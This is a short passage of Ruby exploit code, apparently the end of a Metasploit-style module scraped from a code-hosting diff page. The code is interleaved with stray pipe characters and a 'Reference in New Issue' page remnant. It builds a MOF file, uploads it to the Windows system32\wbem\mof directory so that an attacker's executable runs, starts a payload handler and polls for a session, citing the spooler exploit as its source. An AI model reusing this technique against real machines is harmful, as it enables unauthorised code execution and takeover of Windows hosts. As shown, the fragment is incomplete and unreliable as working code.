mof = generate_mof(mof_name, exe_name)
|
||||||
|
upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
|
||||||
|
|
||||||
|
print_status("Everything is ready, waiting for a session ... ")
|
||||||
|
handler
|
||||||
|
|
||||||
|
#Taken from the spooler exploit writen byt jduck and HDMoore
|
||||||
|
cnt = 1
|
||||||
|
while session_created? == false and cnt < 25
|
||||||
|
::IO.select(nil, nil, nil, 0.25)
|
||||||
|
cnt += 1
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue